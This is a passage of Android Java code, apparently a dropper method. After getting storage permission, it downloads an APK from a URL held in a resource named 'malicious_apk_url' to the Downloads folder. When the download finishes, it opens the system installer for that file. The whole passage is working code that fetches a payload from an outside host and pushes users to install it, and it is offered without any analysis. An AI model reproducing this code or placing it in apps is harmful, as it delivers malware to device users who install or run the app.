*
     * Download an APK.
     */
    @AfterPermissionGranted(RC_WRITE_EXTERNAL_STORAGE)
    private void downloadApk() {
        String[] perms = {Manifest.permission.WRITE_EXTERNAL_STORAGE};
        if (EasyPermissions.hasPermissions(this, perms)) {
            try {
                String filename = (Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS) +
                        "/") + getString(R.string.malicious_apk_name_downloaded);
                final Uri parse = Uri.parse("file://" + filename);

                File file = new File(filename);
                if (file.exists()) {
                    file.delete();
                }

                DownloadManager.Request request = new DownloadManager.Request(Uri.parse(getString(R.string.malicious_apk_url)));
                request.setDescription(getString(R.string.request_description));
                request.setTitle(getString(R.string.request_title));
                request.setDestinationUri(parse);

                DownloadManager downloadManager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
                if (downloadManager != null) {
                    downloadManager.enqueue(request);
                }

                registerReceiver(new BroadcastReceiver() {
                    public void onReceive(Context context, Intent intent) {
                        Intent i = new Intent(Intent.ACTION_VIEW);
                        i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                        i.setDataAndType(parse, "application/vnd.android.package-archive");
                        startActivity(i);
                        finish();
                    }
                }, new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE));
            } catch (Exception e) {
                e.printStackTrace();
            }
        } else {
            EasyPermissions.requestPermissions(this, getString(R.string.write_external_storage_rationale),
                    RC_WRITE_EXTERNAL_STORAGE, perms);
        }
    }